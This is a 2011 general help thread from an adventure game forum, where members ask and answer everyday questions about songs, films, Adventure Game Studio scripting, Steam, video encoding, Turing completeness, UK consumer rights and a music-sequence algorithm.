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Post by: Tabata on 18 May 2011, 20:57
I don't think, that it's that easy to find, but sometimes ... so possibly it's  Roxette's "A Thing About You" (http://www.youtube.com/watch?v=_nWP2nxx3WM&feature=related)?

Well, there are a very lot “about you” 's in it, but no “I remember” and only once we have “youuu” with 4 falling notes (at 2:17) and twice with 3 falling notes (at 2:01+3:08)  ::)
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Post by: LRH on 19 May 2011, 22:09
Okay, a few questions:

1.) Is it possible to use some sort of phone to send video in real time to a computer? If so, which models, etc?

2.)Does anyone know of any legitimate writing/transcription jobs that allow telecommuting? I don't mind grunt work...I could use something though.
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Post by: Snarky on 19 May 2011, 22:42
1. The iPhone lets you do video chat, and I'd guess some Android phones too. (I actually thought mine did, but I can't see an option for it in Skype.) Then you can be on a computer on the other end, and even record the video.
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Post by: MJL on 20 May 2011, 01:01
2. You mind find something of interest at peopleperhour.com, or other 'freelance writer' job sites. However on all of them you bid for jobs which can make it a bit harder in the early stages but the sites never seem short of work.
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Post by: Grim on 21 May 2011, 05:10
Okay, here we go with another "guess the song" request.

The night before last, approx. 3 am some nutshell around the block kept playing this song over and over again loud as hell in their car (probably). It was a slow ballad sung by a female vocalist. It stuck in my mind after hearing it like 20 times (before the police shut them down), but I couldn't make out the words.

What I know is that the most recurrent word was "you". Nothing surprising in love ballads, I know. I remember that there was a phrase "about youuuu" with a falling pitch in the chorus (I'm talking only about the chorus here, the rest was too far away to hear), and then something like "I remember (to saayy)" - the part in the brackets may be completely off, it's just there for the rhythm's sake, it was simply two syllablles sang over 4 falling notes.

Now I guess this is too little to identify, but maybe I'll be lucky. Anyone?

Was it Adelle's "Someone like you"? It's on the radio all the bloody time... I figure if someone was to listen to some track over and over again it would be that these days.
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Post by: NickyNyce on 24 May 2011, 12:47
I have question regarding game design and how to go about doing it,

I have a couple characters at the moment and after some puzzle solving I would like to switch to the second one, but now I would like all hotspots and objects to say something different. These character's will not share inventory or even see each other, but i want the room states to stay the same.
I figured I would just make new rooms using the same backgrounds as the first character, and figured this would work, I'm sure using global variables would be the other way to go about it.....if not the better way.....like using if (This player) say this....or if (that player) say that.....can someone give me a push in the right direction here....

thanks
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Post by: Scarab on 24 May 2011, 14:16
I have question regarding game design and how to go about doing it,

I have a couple characters at the moment and after some puzzle solving I would like to switch to the second one, but now I would like all hotspots and objects to say something different. These character's will not share inventory or even see each other, but i want the room states to stay the same.
I figured I would just make new rooms using the same backgrounds as the first character, and figured this would work, I'm sure using global variables would be the other way to go about it.....if not the better way.....like using if (This player) say this....or if (that player) say that.....can someone give me a push in the right direction here....

thanks
Although technically you should be posting this in Beginner's Technical Questions, it's easier to just answer you here. Just keep in mind to go there in future for questions like this. :)

You'll be glad to hear that this is quite simple to do.
Under each description for the hotspots you put an if statement.
Code: Adventure Game Studio
  1.  if(player.ID == cEgo.ID){
  2.   cEgo.Say("Cool, an XBox! Can't wait to play!");
  3.  }
  4.  else if(player.ID == cGirl.ID){
  5.   cGirl.Say("Sigh, an XBox. I hate those things.");
  6.  }
  7.  else{
  8.   // If the player character is anyone but cEgo or cGirl
  9.   player.say("An XBox. I have no strong opinions on it.");
  10.  }
  11.  
Note that if you simply want the new player character to repeat the same line, you can use the player.Say() command.

To set the player character you can simply use the SetAsPlayer command.
Code: Adventure Game Studio
  1. /// put this in the code for a GUI button or however you plan to change it
  2. cGirl.SetAsPlayer();
  3. ///Seeing as the characters have different inventories, you might want to call this command on the InvWindow
  4. invMain.CharacterToUse = cGirl;
  5.  

Hope that's all you need to know, PM me if you have any troubles.
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Post by: NickyNyce on 24 May 2011, 14:41
Thanks a bunch Scarab, I was going to place this in the beginner's section but unfortunatley placed it here instead....I always lose these coin flip situations.  :P

This was very helpful and I appreciate the reply, Thanks again

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Post by: Stupot on 26 May 2011, 00:30
Quick question.

I'm probably one of the few people left who has never used Steam.  But they're offering the three Sam and Max seasons for 66% off.  I only want Season 1 at the moment, and it's only £5.79 with this offer.

The difference between Season 1 and Seasons 2-3 is that Season 1 is not marked as "Steam Play", which I gather meand that you can buy once and down load as many times as you want, for the benefit of people who have PCs and Macs?  Is that right?

But Season 1 doesn't have this label.  Does this mean that if I buy the game now and my laptop rejects it I will have to rebuy the game if I ever wanted to download it again for a new computer?

That's why GOG is so awesome.  I've bought a couple of games on there that havent worked on my shitty laptop, but I don't mind waitng til I have a better computer before I paly them because I can just download it again, since I paid for it already.

Cheers.

P.S. Okay, maybe that wasn't such a quick question, but I'm sure the answers will be ;)
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Post by: LimpingFish on 26 May 2011, 01:34
@Stupot http://www.shacknews.com/article/63793/steams-pcmac-steam-play-game

Also, if you just want to download a game again, after setting up Steam on a new computer, you won't have any problems. Steam games are tied to your account, not to any specific computer. You can only play them on one computer at a time, though.

Basically, Steamplay Sam & Max will be available to you on either PC or Mac, depending on when and where you want to play them. You only pay for it once.
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Post by: Stupot on 26 May 2011, 01:42
Ahh okay so the Steamplay thing is just for the PC/MAc issue, and simply downloading the game onto two PCs wont be a problem?  That's what I wanted to hear.  Thanks LimpingFish :)

[update]
I couldn't resist it.  I bought all three seasons for £11.90.  Even if this laptop can't handle them I'll have them ready to play when I get a new pooter.  I love a good bargain, me.
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Post by: Mati256 on 26 May 2011, 02:37
Hello. I want to start learning a new programing language because I want to create Mobile phone applications.
I heard the two most important are Java and C++, which one would you recommend?
I'm more inclined to Java but maybe C++ is more useful.
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Post by: Dualnames on 05 Jun 2011, 04:33
I'm looking for this myth: There's a man cursed to find someone to give their live for him (or someone he loves I can't remember for sure) till the day ends. So he goes on that quest, at one point he reaches a blind man asking him to die, cause he's blind and old. But the blind man refuses as he may be blind and old but the birds singing in the morning and the sound of water make up for his age and blindness.

I could look it up, but some google searches failed. It used to be an animation as well, which i saw like 3-5 times on tv, when i was a child.

EDIT: FOUND IT
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Post by: Anian on 18 Jun 2011, 23:44
With what software are pixel art videos made? I mean "longer" pixel animations (as in videos not gif or similar), I know some music videos* were made this way for example, so what would a cartoon episode be made with? I know there's stuff like ToonBoom, but basically all those kinds of softwares use vector graphics.

*stuff like this (http://www.youtube.com/watch?v=MXIzyquw-kc)
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Post by: LRH on 19 Jun 2011, 07:53
I've been looking allllll over tonight but I have had no luck whatsoever.

I'm looking to trade in my old laptop for a portable device. I want something *like* an ipod touch, but not an ipod touch. I just really can't stand them.

Honestly the most important things to me are local radio and streaming video ability from youtube/netflix/etc. The zune would be perfect...only it doesn't support streaming. I've been looking at all sorts of things. I suppose even a small android "tablet" would work, but I'm having trouble finding something affordable that supports radio and streaming.

Any suggestions?
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Post by: nihilyst on 26 Jun 2011, 23:06
Does anyone of you have loominous' email address and could PM it to me? He hasn't been around for quite a while, and I need to reach him. Thanks :D
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Post by: LimpingFish on 27 Jun 2011, 00:46
Any suggestions?

I have an  Archos 7o Internet Tablet. (http://www.amazon.com/Archos-70-Internet-Tablet-Black/dp/B00422SH5C/ref=sr_1_5?ie=UTF8&qid=1309131826&sr=8-5)

Streams video just fine. Never tried radio on it, but Android has a shed-load of radio apps.
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Post by: nihilyst on 02 Jul 2011, 00:01
Does anyone of you have loominous' email address and could PM it to me? He hasn't been around for quite a while, and I need to reach him. Thanks :D

No one? Or if anyone knows who _could_ have it, please let me know :D Thanks!
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Post by: Mati256 on 02 Jul 2011, 00:06
Usually when you send a PM to somebody the forum sends a mail to inform him. You could try that.
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Post by: nihilyst on 02 Jul 2011, 01:38
I have tried that, but maybe he has turned that option off. Thanks anyway :D
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Post by: Peder on 02 Jul 2011, 01:47
Sent you a PM nihilyst ;)
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Post by: MJL on 06 Jul 2011, 14:50
Just a quick one, I've had a blank - how do I re-assign a drive letter to a HD? One of mine has changed it to a different letter cos I pulled the sata cable out, and I can't for the life of me remember how to change it back to its original letter. That and I can't get any websites to work, so I've come here for help instead of Google. Thanks!!
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Post by: Damien on 06 Jul 2011, 15:08
Right click on my computer > manage > disk management. Right click the partition you want and look for "Change drive letter..." or something like that.
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Post by: MJL on 06 Jul 2011, 15:31
Gracias Damien! :) Sorted.
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Post by: NickyNyce on 06 Jul 2011, 17:11
Hello everyone,

             My motherboard just went kapoot, gone, dead, finished, I had a HP window vista, My game was 3/4 done. I have managed to transfer my game to my new computer, but now I downloaded 3.2.1 , I was previously using 3.1 , I'm hoping this is not a problem, anyone with any info they can give me about switching versions would be appreciated.

EDIT : Nevermind, found a place to compare versions
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Post by: MJL on 12 Jul 2011, 17:20
Quick q - any idea how to stop Outlook asking me if I want to compress emails to free up disk space every time I close Outlook? Surprisingly I don't need Outlook to compress what only amounts to 100kb of email data.
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Post by: arj0n on 12 Jul 2011, 19:30
http://www.insideoe.com/faqs/why.htm#compact (http://)
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Post by: MJL on 13 Jul 2011, 02:38
http://www.insideoe.com/faqs/why.htm#compact (http://)

Thanks Arj0n! Shame it cannot be turned off.
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Post by: Gilbert on 13 Jul 2011, 05:09
That feature is actually quite stupid.
M$ possibly never expected how many mails one can ever keep.
After few years the mail folders in my office computer had more than 10K messages, and that computer was already low on resources (<100MB free space most of the time).
The problem was, I shut down the computer when I left the office, and OE occasionally forced this to happen, which took forever. I didn't want to wait for it to end (which was actually impossible, coupling with the low on space problem the process would just crash at some point) and the system was so horribly stalled that clicking 'cancel' took a looooong time to take effect.

My system has been upgraded recently and I have to use Outlook instead now (with the mail folders imported). Hopefully it won't happen again.

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Post by: MJL on 13 Jul 2011, 05:31
Hehe, sounds annoying! And you know what Gilbert, I dreamt of you last night, LOL! God knows why. So I'd like to ask if anyone knows WHY I dreamt of Gilbert Cheung. :P
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Post by: Gilbert on 13 Jul 2011, 08:55
As long as the dream wasn't wet I am okay. :=
Possibly this is something whose cause will remain mystery forever that nobody here is able to help.
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Post by: bicilotti on 14 Jul 2011, 14:27
I've made a little excel spreadsheet (http://www.mediafire.com/?9x57414ircbhyh4) which simulates a number-adding Turing Machine.

1 - Is this turing complete (http://en.wikipedia.org/wiki/Turing_complete)?
2 - If so, why is SQL92 (http://en.wikipedia.org/wiki/SQL-92) considered non turing complete (http://en.wikipedia.org/wiki/Turing_completeness#Examples)? What prevents me to easily rewrite the spreadsheet example in SQL92?
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Post by: InCreator on 14 Jul 2011, 15:52
I fail to see any importance of this... is it school work of some kind?
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Post by: bicilotti on 14 Jul 2011, 16:20
I fail to see any importance of this... is it school work of some kind?

InCreator: no, just sheer curiosity.
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Post by: RetroJay on 18 Jul 2011, 22:51
Hi All.

I hope you can help.

I went today for an interview for a job and they said that they require a full British Birth Certificate.
I only have a small squar-ish one to which they said was unacceptable.

Can anyone tell me. Is this a new stupid Law that's been introduced or are they just being awkward.

Many thanks.
Jay.
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Post by: monkey0506 on 18 Jul 2011, 23:33
Take it to Kinko's (not Kinoko's :P), and ask them to make you a poster print. :=

Actually the only copy of my "Born Abroad" U.S. Birth Certificate that I have apparently lost the "raised seal" some years ago, completely invalidating the thing. Sucks, but luckily we have other ways of identifying ourselves! :P
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Post by: RetroJay on 19 Jul 2011, 00:05
Hi MonkE3y.

Unfortunately.
Here in, not so, Great Britain.
you aren't who you say you are until you provide about 4 or more documents and then some.

This being said. I am within the Security Industry.
But I have been with many companies and NEVER has my Birth Certificate, size, come in to question.

I have a full SIA license and could even go in to business for myself as a PI if I wanted to (Oh... how I do).

Jay.
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Post by: Wyz on 19 Jul 2011, 13:33
@ bici
I took the liberty to convert your machine to a diagram.(http://s1.postimage.org/5oqmsleyf/bicimachine.png) (http://www.postimage.org/)
This is a machine but also a it executes a program. The program is defined by what (finite number of) states there are and what action each transition does. The machine itself is turing complete, the program is not. A program can only be turing complete if it's in fact simulating a turing machine. See where I'm going with this? :D

A machine is turing complete (hence a computer) if any program that can be executed on it can also be executed by a turing machine. This also works the other way around: any program that runs on a turing machine can be executed by any computer. We tend to call programming languages turing complete when it can be used to express any program that runs on a computer. The good old SQL can not do this, it lacks the possibility to control program flow and strictly speaking also arbitrary memory access. When it could jump to a different line in the SQL file when a certain query equals some result, then one could argue it is turing complete.

Actually any computer boils down to this:


And when a language can express this, same story.
I hope that was helpful. :D
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Post by: Chicky on 19 Jul 2011, 14:06
I only have a small squar-ish one to which they said was unacceptable.

You can call your local council office and request a copy birth certificate, it costs £10 iirc and takes a few days to process. You should be able to take your small birth certificate with you to collect the larger copy.
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Post by: bicilotti on 19 Jul 2011, 14:07
@ bici
I took the liberty to convert your machine to a diagram. [...]

Nice exposition, I can see it crystal clear now.
Thanks for having taken some of your time  to deliver this explanation!
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Post by: Stupot on 19 Jul 2011, 14:25
Wikipedia is playing up for me.  The pages don't load properly.  They look like just basic HTML, like some of my early attempts at web design.  It looks like I'm somehow accessing the mobile versions of the pages, even though the URLs are correct.  Any idea of any browser (Chrome) settings that I could play with to fix this?

It only seems to be affecting Wiki. Havent come across it on any other sites.
Cheers


Turns out this was a simple 'clear cache' jobby.  I feel a tad stupid  :-\
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Post by: nihilyst on 23 Jul 2011, 01:23
Does anyone of you happen to have I Have No Mouth And I Must Scream (the video game, not the book) and would sell it to me? I'd like to have it in it's original box, but wouldn't care if it looked used. Should be the uncut version (i.e. with the Nimdok chapter in it; here in Germany at least, they've taken it out). Payment via PayPal. Shipping to Germany. If anyone has it and is interested in selling it, drop me a PM. Thanks :D
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Post by: Stupot on 23 Jul 2011, 16:52
I'm trying to remember the name of a film I watched about 10 minutes of before having to turn it off for being total crap.

It's about a couple of kids who have a house party, and the film begins on the morning after the party and one of their friends has died and the parents are due back later that day... so instead of reporting the death they... I have no idea what they do because I turned it off.

But believe me, hilarity does not ensue...

It might be called something like 'Spring Break' or 'House Party' but I think it's got the dead guy's name in it, like 'Bob's Dead!' or something like that...

Anyway, if anyone has seen this film, or know the title, let me know. Cheers :-)
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Post by: Wyz on 23 Jul 2011, 20:06
Don't Tell Mom the Babysitter's Dead (http://www.imdb.com/title/tt0101757/)?
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Post by: Stupot on 23 Jul 2011, 21:19
Haha, no, it's not that.  The one I'm thinking of is more of a stoner movie, and it's a guy who is dead.  In the opening scene it's a typical post-house-party scene with plastic cups all over the place and probably bong water spilt everywhere.
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Post by: TomatoesInTheHead on 23 Jul 2011, 21:31
And it's not Weekend at Bernie's (http://www.imdb.com/title/tt0098627/) by any chance? Don't know anymore how that one began, I only know there was one dead guy named Bernie and some guys trying to hide the fact that he's dead for some reason.
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Post by: Ryan Timoothy on 23 Jul 2011, 21:43
Definitely isn't be Weekend at Bernie's.
Are there any details you can share? Like are the kids mostly white? Is the boy that dies white? Etc. Also how did he die at the party.
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Post by: Stupot on 23 Jul 2011, 22:25
Nah, not Bernies either.  There seemed to be two main guys... Pretty sure at least one of them was white but the other may or may not have been of an ethnic variety.  All I can remember is the first scene, these guys wake up, the house is a mess, their friend is dead and the guy who's house it is gets a phonecall from his parents saying they're coming back early from holiday and will be home soon.

I could be well off, but I want to say that the dead guy's name is Bob... it's either that, or it's some nickname like 'Breadknife', and I'm also haf tempted to suggest that the  dead guys name is in the title of the film.

I think it might be a fairly recent film, as it was on my sister's BT Vision package about 3 months ago... actually... I could look there for clues...
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Post by: MJL on 26 Jul 2011, 09:43
Just a quick one about direct debits for anyone in the UK who may have some idea.

3 years ago I entered a contract for mobile broadband. I signed in person the direct debit form.

When the contract ended, I tried to get a price reduction.

Everything went tits up, I didn't get the reduction - I got downgraded. So I called again & asked just to get whatever service I had been given originally - back.

To this date, I still haven't got it back even though I've been told I had. I was told today I was actually still on a different plan to the very first one I had.

I'm also told that since I tried to get the reduction and get my service re-instated, I've been put on a new contract.

I cannot leave it til October 2012.

At no point was I told I was entering a new contract, nor did I give any official verbal agreement and certainly no written agreement about the new contract.

So what are my rights here? Can I cancel the DD?

From my days as a researcher for an ISP I found that when you threaten a court case to an ISP they usually back off and do as you ask. Is that really the direction I'd need to go? (Which doesn't bother me, I know my case is far stronger than theirs) - but if anyone understands or has any ideas on whether I have the right to cancel my current contract as I did not willingly (or knowingly) enter it - please let me know. If anyone has cancelled a DD before a contract is out, what were the consequences for you? Thanks!

PS. It's t-mobile. AVOID
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Post by: Bror_Jon on 26 Jul 2011, 10:13
@Mods: I do not have any experience with this i England, but whenever I get into trouble like this I threaten them.

In Sweden we have a agency called Consumer Agency (konsumentverket), I think your equivalent is called Consumer protection. So I threaten the company to file a complaint to this agency and this usally makes them comply with any of my demands. If they don't I just file the complaint and win. :D

Edit: I need to learn to read, since I for some reason totally missed what you wrote about threaten. But still, this isn't about going to court, just threatening about filing a complaint to a goverment agency.
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Post by: Wonkyth on 26 Jul 2011, 14:04
Yeah, we've got something like that in Australia (the ACCC, I think?), and I have many friends who have managed to get companies scared shitless at the mention of their name, with instant compliance that is sometimes the end of many months of arguing.

A also have two friends who successfully sued their respective ISPs when they were 16, because they weren't getting what they signed up for.
Not sure if that's the whole of it, but it is something that would work, I'm sure.

EDIT: After looking a little at the UK system, I'd advise you to contact Consumer Direct (http://www.direct.gov.uk/en/Dl1/Directories/UsefulContactsByCategory/Governmentcitizensandrightscontacts/DG_195948).
Hope all goes well.  ;)
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Post by: MJL on 26 Jul 2011, 21:33
Thanks guys! That eases my mind. Consumer Direct it is then  ;D
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Post by: Anian on 05 Aug 2011, 13:47
How many plants would it take so a human can live only on the production of oxygen of those plants or is there a way to calculate this?
For example a space station/ship (for lets say a crew of 20-50 people) with a green room full of plants, would that be able to sustain a human or two (if say the others died and you're left in that room cause every other part of the station was decompressed or something)?

Oh, yeah, does anybody have a Kindle (the amazon digital book reader) and if so what's their opinion on it?
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Post by: Bror_Jon on 05 Aug 2011, 14:05
 Apperantly Google is my friend  ;)  (http://www.newton.dep.anl.gov/newton/askasci/1993/biology/bio027.htm)
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Post by: Baron on 07 Aug 2011, 01:42
I'd disagree somewhat with the assumptions in Bror Jon's link.  It seems factually accurate -specific numeric figures add to the illusion -but personal experience dictates that a fundamental assumption has thrown off his calculations.  He states that the average human breathes 252L of air in an hour, and given his background numbers this seems roughly accurate.  He also states that 21% of air is oxygen -no arguing with that either.  But then he concludes that we need 53L of oxygen to survive in an hour (252L * 0.21 =53L), and this is plainly wrong.
      Consider the following: if you are trained in first-aid/CPR, they will at some point instruct you in assisted breathing -literally blowing the air from your lungs into a non-breathing victim's lungs.  This would clearly be a waste of time if you were using all 21% of the oxygen in the air for every breath.  A brief perusal of the internet suggests an absorbtion rate of somewhere between 1/5 and 1/3 of that for every normal breath.  This can reduce the number of plants you need by a factor of 3-5, depending. 
        Of course you would need permanent sunlight (or equivalent) to sustain full plant production all the time.  Since plants don't do photosynthesis in the dark, any down time would require a corresponding increase in the number of plants needed.
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Post by: Bror_Jon on 07 Aug 2011, 04:15
...and this is plainly wrong.

Indeed. My bad.   :-[

I do though want to stress that the consumption of breathable air will be highly dependent on the physical state of the people on the space station and what they are doing.
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Post by: LUniqueDan on 09 Aug 2011, 04:38
Can someone explain me the full rule about capital letters in english titles. I get use to just put Capitals everywhere then remove the small words, but I'm pretty sure I saw exceptions.

tx.

(Now I'll be able to flood forums 1!!1)
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Post by: Gilbert on 09 Aug 2011, 05:00
I'm not quite sure whether there is a universal rule, but I think you may start here (http://en.wikipedia.org/wiki/Capitalization).
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Post by: Ryan Timoothy on 11 Aug 2011, 18:25
Does anyone know of a super fast and efficient programming formula for finding out if a line is passing through a rectangle?
For instance, something traveling from point A to point B, will it intercept with the rectangle?
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Post by: bicilotti on 11 Aug 2011, 22:23
Does anyone know of a super fast and efficient programming formula for finding out if a line is passing through a rectangle?
For instance, something traveling from point A to point B, will it intercept with the rectangle?

'Line' as in 'straight line', defined by slope/intercept? Or 'line' as in 'segment' (defined by two coordinates)?
Calculating the extremes of "intersecting slopes" (on the 4 corners of the rectangle) could do, but I'm not sure whether this is the most efficient solution (most probably it isn't with a segment).

edit: google agrees (http://www.google.it/search?oe=utf-8&rls=org.mozilla%3Ait%3Aofficial&client=firefox-a&hl=it&q=rectangle%20line%20intersection&spell=1&sa=X), even for segments
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Post by: Kweepa on 11 Aug 2011, 23:36
The standard way is to clip the line to the rectangle, edge at a time, and see if there's anything left (check after each clip).
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Post by: Atelier on 13 Aug 2011, 18:00
What is name of the place where owls live? Is it nest or roost? Or either?
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Post by: NickyNyce on 13 Aug 2011, 18:42
In a nest, they are also known to sleep in hollowed out logs and trees, even barns.
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Post by: Snarky on 16 Aug 2011, 23:31
What's a good way to convert a series of images to a video, and which codec/file format should I use so it looks good in AGS (320x240)?

I'm currently using Photoshop's "image sequence | export to video", but none of the AGS-compatible formats look any good.
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Post by: Wyz on 17 Aug 2011, 00:14
I usually do that with virtualdub (http://www.virtualdub.org/): you can name the files like blabla0001.png, blabla0002.png, ... and it will open the first image as if it is a video.
As for the codec, well there are a lot of different ones out there, for every use I'd recommend a different one so what is it for?
If it is for an AGS game I'd go for ogv, in that case you need theora (http://www.v2v.cc/~j/ffmpeg2theora/).
The tool I linked is command line driven so you end up with something like this:
Code: Adventure Game Studio
  1. ffmpeg2theora.exe blabla%04d.png -o bla.ogv
  2.  

If it looks shitty there are ways to encode in higher quality using -v.
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Post by: Snarky on 17 Aug 2011, 08:16
Thanks Wyz. Once I figured out that "%04d" was a wildcard, that ffmpeg2theora worked. It doesn't seem to like my PNG files, though (colors go all wonky), but JPGs are fine (although it throws a ton of errors about "no JPEG data found in image").

VirtualDub only shows a short list of piss-poor codecs under "Compression". Do you know where I can get some better ones for MPEG-compression?
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Post by: arj0n on 17 Aug 2011, 08:34
There's also a handy Frontend (GFrontend (ffmpeg2theora) v2007.2 Final) (http://download.freewarefiles.com/files/GF_ffmpeg2theora_final.exe) for the Converter (ffmpeg2theora-0.28) (http://v2v.cc/~j/ffmpeg2theora/download.html) Wyz mentioned.

Xvid codec: DL (http://www.xvid.org/Downloads.15.0.html)
More here (http://www.free-codecs.com/Video_Codecs.htm)
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Post by: arj0n on 17 Aug 2011, 10:11
Somehow I always get a quick and serious headache from drinking apple juice (clear juice), grape juice, cassis (soda), and wine.
2 small nips of apple juice for example is enough for me to get a serious headache within a minute.
Headache is the only side effect when drinking such drinks.

Eating apples or grapes doesn't give me any problem, so it's clearly the drinks.
Maybe they add something to it my system can't stand?
But then, why only for these juices/drinks?


So, are there others around here who have the same problem?
Does anyone have any idea about this?

Seaching the internet didn't gave me any clues about this...
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Post by: Tuomas on 17 Aug 2011, 10:55
Could be that when making juice, a lot of sugar is added. If your body doesn't like it, it might protest :P Dunno... useless post nr. 1.
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Post by: Buckethead on 17 Aug 2011, 11:09
If I'm not mistaking they use some sort of filler up for most wines. I don't know what the stuff is called but it's know to cause headaches. Especially cheaper wines have this. I don't know about the other drinks, but they too give me slight headaches.
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Post by: Nikolas on 17 Aug 2011, 11:14
I'd also bet it would be the sudden rush of sugar. Try this: Make some sugar water, with tons of water and drink it. If it brings headaches then you're done. If not then you might want to research a little further.

A (serious) problem of my own please.

_______________________________________ _

I have a math problem, which needs coding, but can't solve it myself. tried in GWBasic (laugh all you want) and I can't get any further.

I'm looking to make an 'undefinite' (not really) strings of pitches/notes which have no repeated elements in them.

The way that music works is that the human mind can make the connection with previously heard pitches, or similar note connections. So if we assume that the 12 notes are numbered 1-12 then having 1-3-5 and then 6-8-10 would be faulty, because the intervals (space between the notes) is the same in every case.

So... *I think* that the following are the conditions:

1. Notes are numbered from 1-88 (from A0 to C8 or something).
2. I need to be able to define how many notes will be in the series I will get. (from 2 to however many is possible. It's not infinite actually. After a while you're forced to repeat a pattern and thus *BAM!*)
3. I cannot repeat the same note twice in a row (so the series cannot be 1-45-23-23-35-whatever).
4. The notes cannot move higher or lower than 11. (Since the octave is 12 semitones, thus 12 in an interval), you can't go 8-20 (since it's the same note an octave higher), or 22-10 (for the same reason,  but lower).
5. I need to be able to input the starting note (from 1 to 88).
6. What else do we need? The series must have a random effect, but it's not random by any means, with so many rules above... S

If someone is interested in building a code for me? I think that it can't be too difficult. I would be even interested in paying a small sum (30$ or something) to someone who does this for me... :-/

Perhaps there's more info to be needed, but I can't recall anything right now. We need to contact in PM, or MSN, or other...

Thanks
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Post by: Snarky on 17 Aug 2011, 11:30
There are no chords, just single notes?

And how do you define the repetitions that are disallowed? Two sequences of at least three notes each with the same intervals in each sequence?

There's no way to have an indefinite sequence of notes that never repeats the same two intervals. Since after the first note there are only 22 possibilities for the second note, and 22 possibilities for the third note after each of those, there are only 22*22 = 484 different possibilities for the intervals in a sequence of three notes.

So before you've played 500 notes, there will have to be some repetition.

Edit: Guess I didn't read your condition 2 carefully enough. Seems like you're already aware of this. I would represent the notes as a sequence of intervals (since there are 22 possibilities, we can represent them by a string of letters [A-V]), and each time I want to generate a new one, I'd do 22 substring tests to check whether the last two intervals + each of the possibilities already exists in the string. Then I'd select one at random from the others, add it to the string, and repeat. If all were taken, I'd go back recursively and change the last note. (You might want to keep track of the blocked notes for each position as you go along, or the process will get really slow as you get close to the limit of the possible sequences.)
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Post by: Nikolas on 17 Aug 2011, 11:52
Two sequences of TWO notes are a repetition. And yes it's not indifinite, I know that!

I think that the solution could be to have 22*22 (but that's impossible as well... Eventually you'll run into a dead end).

So I would be looking for anything that I can stop at any point and say "it's enough". This is for a part of a work, so it doesn't have to be complete. Plus with the right accents (so if you start a strong beat on 24-28-23 and later on you go to 28-23-something else... It might be tricky but the mind can't keep the pitch information for too long I think).

One of my problems in GWBasic and generally when coding is that I don't know how to 'keep track what's been done already'. So if you asked me to take on a phonebook and search for a name, I would go blindly until I found the name, or somehow go closer to the name little by little, but not crossing out names already done... (
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Post by: arj0n on 17 Aug 2011, 11:57
I'd also bet it would be the sudden rush of sugar. Try this: Make some sugar water, with tons of water and drink it. If it brings headaches then you're done. If not then you might want to research a little further.
That's for sure not what causes the headache.

If I'm not mistaking they use some sort of filler up for most wines. I don't know what the stuff is called but it's know to cause headaches. Especially cheaper wines have this. I don't know about the other drinks, but they too give me slight headaches.
I've heard of that too and it might cause the trouble.
I think they add something to apple- and grape juices/drinks too.

Still got no clue what they add that causes the headache...
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Post by: Wonkyth on 17 Aug 2011, 12:48
@Nikolas: From what little I know of Schoenberg's twelve-tone technique, I'm assuming this is somewhat related?
I'll have a go at it, just for fun.  :P

Edit: It appears my knowledge of surrealism was rather limited...  :)
Title: Re: Ask something - We can help.
Post by: Snarky on 17 Aug 2011, 13:13
Two sequences of TWO notes are a repetition. And yes it's not indifinite, I know that!

I think that the solution could be to have 22*22 (but that's impossible as well... Eventually you'll run into a dead end).

It's worse than that, mate. If you don't want any repetition of even one interval, your sequence can't be more than 23 notes long!
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Post by: Nikolas on 17 Aug 2011, 15:24
Dang! Yes, sorry... I meant 2 intervals, not 2 notes. Obviously for 2 notes, you need 1 interval and thus you would end up at no. 12.

wonkyth: Yes and no... :-/

There is the twelve-tone technique, but it's hardly related.

Imagine this (if it can help): a huge orchestra is playing a series of notes. All with the same duration. And the listener cannot find a single motif to be repeated, a single idea to be repeated. Just a very long array of permutations of notes... That doesn't stop. Nothing to latch on. With no logic behind it, no musical logic, no other logic! (Only there is the logic to avoid repeated material at all cost).

That kind of thing... So it's actually the deconstruction of musical logic I'm interested in, rather than the other way! :)
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Post by: Wonkyth on 17 Aug 2011, 15:36
Yeah, just after posting that I realised that it doesn't make sense in that context.
My knowledge of more complex musical theories is practically non-existent, and twelve-tone technique was the closest thing I've had any experience with.

However, I've now had the opportunity to look this stuff up, and since I didn't even know it was there, I thank you for introducing me to it.  :D

I've had a preliminary fiddle, using the info you've posted, and created a little console app which at the very least does something similar to what you described. It cut's one or two corners, I think, but it's kinda tricky to do a desk-check on it when I'm not entirely sure what the desired results are.  :P
Oh, and the max number of notes it'll output is limited to ~250 due to the maximum number of lines the console will display...  ;D

Shall I send you a copy of my attempt?
Title: Re: Ask something - We can help.
Post by: Snarky on 17 Aug 2011, 16:17
One of my problems in GWBasic and generally when coding is that I don't know how to 'keep track what's been done already'. So if you asked me to take on a phonebook and search for a name, I would go blindly until I found the name, or somehow go closer to the name little by little, but not crossing out names already done... (

There are generally four approaches off the top of my head. The first is to keep a list (or more generally, a data structure) of things you've done which you keep adding to (and checking against). The other is to keep a list (/ d.s.) of things left to do that you keep removing things from until it's empty. The third is to set a flag on each item to let you know whether it's done or not. The last and often most efficient one is to do things in some particular order, and just keep track of how far you've got in that order.

In your phone book example, the last approach is best. The book is ordered alphabetically, so we use a method called binary search. That pretty much means we open the book in the middle, and see whether the name you're looking for is before or after that page. Then we look in the middle of that half of the book, check whether it's before or after, and so on. We keep track of the beginning and end of the pages we are looking at (top and bottom indexes). So if the phone book is 500 pages, we know when we start that the name we're looking for is between page 1 and page 500. Then we look in the middle, and might find out that it's between page 250 and 500. Then we check in the middle of that, and see that it's between page 250 and 375. Then between 250 and 312, between 281 and 312, 281 - 296, 288 - 296, 292 - 296, 292 - 294, and finally, that it's on page 293. That's 500 pages searched in 9 steps.

You can keep the top and bottom indexes in two variables, which show how far you've got in your search so far.
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Post by: Nikolas on 25 Aug 2011, 11:02
Thanks for replying above! :)

Another quick question, if I may.

I'm using Finale 2010 on a dual screen setup. Sadly the coders didn't not think make manual placement of sub-windows possible, so everytime I'm opening a new window/dialogue/etc it's in the middle of the setup, which is... the seperation of the two screens!

The software cannot fix that currently.

Is there a way to control it perhaps?

Here are two screenshots of the dual monitor setup: www.nikolas-sideris.com/AGS/finale1.jpg
www.nikolas-sideris.com/AGS/finale2.jpg (in full size both).

There is the ultramon, but anything else? Perhaps free?
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Post by: MJL on 05 Sep 2011, 14:13
Just need some general advice, using Hotmail with Firefox. It seems to come and go in waves, but right now I'm experiencing a problem whereby clicking any link in Hotmail, ie, inbox, delete or the messages does nothing. And this isn't the first time, in fact, it's probably beyond the 50th time since I started using Firefox years ago. Some times it does this, then in a few weeks time, I'll probably be able to click all those links with no problems.

Any ideas, would it be Java related? Just updated Firefox, it hasn't helped this situation. And the previous version was doing it. But BEFORE I went to Mittens it was working fine, so I just don't get it, can't figure out where the problem is originating from. Any other experiences of such or ideas for a fix appreciated :)
